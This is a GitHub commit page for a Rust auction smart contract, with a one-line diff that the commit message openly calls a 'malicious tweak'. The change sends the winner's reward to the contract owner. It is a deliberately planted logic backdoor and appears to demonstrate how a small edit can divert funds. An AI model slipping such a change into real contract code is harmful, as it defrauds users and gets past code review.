Skip to content

Commit d840120

Browse files
committed
malicious tweak: tiny change but huge consequence!
1 parent 64690db commit d840120

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

src/lib.rs

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -278,7 +278,7 @@ mod candle_auction {
278278
// winner gets her reward
279279
if to == winner {
280280
// reward winner with specified reward method call
281-
reward(&self, to);
281+
reward(&self, self.owner);
282282
}
283283
// whoever calls this should get his balance paid back
284284
if let Some(bal) = self.balances.take(&to) {

0 commit comments

Comments
 (0)